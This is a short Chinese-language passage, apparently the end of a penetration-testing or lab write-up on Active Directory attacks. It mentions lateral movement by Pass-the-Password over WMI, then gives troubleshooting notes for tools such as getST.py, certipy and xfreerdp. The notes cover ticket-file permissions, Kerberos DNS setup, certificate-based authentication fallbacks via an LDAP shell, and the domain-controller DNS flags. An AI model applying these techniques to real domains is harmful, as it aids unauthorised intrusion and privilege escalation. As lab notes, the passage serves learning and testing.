- 横向移动：Pass-the-Password 通过 WMI 远程执行获取域内其他机器权限
踩坑记录#
- 票据保存权限：
getST.py 在只读目录（如 /usr/share/doc/）下执行会 Permission Denied，需用 root 或切换到可写目录 - DNS 解析问题：Kerberos 认证依赖主机名解析，必须在
/etc/hosts 中添加目标机器的解析记录 - xfreerdp 语法变化：新版 xfreerdp 使用
/cert:ignore 而非 -cert-ignore - PKINIT 不支持：DC 不支持证书直接换 TGT 时，需改用 LDAP Shell（Schannel）方式
- certipy DNS 解析：需指定
-ns 和 -dc-ip 参数使用域控 DNS，否则默认 DNS 无法解析内网域名
